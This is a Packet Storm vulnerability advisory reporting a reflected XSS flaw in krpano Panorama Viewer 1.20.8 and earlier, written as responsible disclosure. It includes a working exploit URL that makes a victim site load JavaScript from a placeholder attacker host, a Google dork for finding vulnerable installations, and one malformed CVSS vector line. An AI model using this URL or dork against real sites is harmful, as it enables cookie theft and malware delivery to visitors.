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Krpano Panorama Viewer 1.20.8 Cross Site Scripting

Krpano Panorama Viewer 1.20.8 Cross Site Scripting
Posted Oct 6, 2020
Authored by Adriano Marcio Monteiro

Krpano Panorama Viewer versions 1.20.8 and below suffer from a cross site scripting vulnerability.

tags | exploit, xss
MD5 | 1d171ea16420ddbe30719e82a37be067

Krpano Panorama Viewer 1.20.8 Cross Site Scripting

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# Exploit Title: XSS in krpano Panorama Viewer
# Google Dork: inurl:krpano.html
# Date: 10/05/2020
# Exploit Author: Adriano Marcio Monteiro (@adrianomarcmont)
# Exploit Author Site: https://www.brztec.com
# Exploit Author E-mail: adriano@brztec.com
# Exploit Author Packetstorm Bio:
https://packetstormsecurity.com/files/author/11063/
# Vendor Homepage: https://krpano.com/
# Software Link: https://krpano.com/download/
# Version: <=1.20.8
# Tested on: All
# CVE : Requested
# CVSS Severity: Medium
# CVSS Score: 6.1
# CVSS Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
# CVSS Link:
https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

# Disclosure Policy: 90-day deadline has expired and no response from the
vendor.

*XSS in **krpano Panorama Viewer *
CVSS Severity: *Medium*
CVSS Score: *6.1*
CVSS Vector:
CVSS:3.0/AV:N/AC:L/PRCVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:L/A:N:N/UI:R/S:C/C:L/I:L/A:N
<https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N>

*Description*
krpano Panorama Viewer <=1.20.8 is vulnerable to a Reflected Cross-Site
Scripting (XSS) vulnerability caused by improper validation of user
supplied input when loading remote js and XML files in the default
installation (krpano.html).

*Impact*
A remote attacker could exploit this vulnerability using a specially
crafted URL to execute a script in a victim's Web browser within the
security context of the hosting Web site, once the URL is clicked or
visited. An attacker could use this vulnerability to steal the victim's
cookie-based authentication credentials, force malware execution, user
redirection and others.

*Steps to Reproduce*
Exploit example, from documentation tutorials:
http://VICTIM_SITE/krpano.html?html5=only&preview.type=grid()&plugin[test].url=https://ATTACKER_SITE/labs/krpano/krpano.js&plugin[test].align=center&plugin[test].onclick=dosomething(hello,plugin)&onstart=showlog();

*Fix*
Block remote load of js and XML files. Contact the vendor.

*References*
CWE-79: Improper Neutralization of Input During Web Page Generation
('Cross-site Scripting')
https://cwe.mitre.org/data/definitions/79.html


Best Regards./Atenciosamente.

*Adriano Márcio Monteiro*
Offensive Security Specialist
adriano@brztec.com
+55 31 99255-3329 <+55+31+99255-3329>


https://www.brztec.com <https://www.brztec.com/>
*Saiba das suas fraquezas antes do hackers.*
*Know your weaknesses before hackers.*
Pentests, Social Engineering, Training and Recruitment.
*BRASIL *contato@brztec.com +55 31 4042-7029 <+55+31+4042-7029>
*U.S.A. *contact@brztec.com +1 480 404-7029 <+1+480+404-7029>

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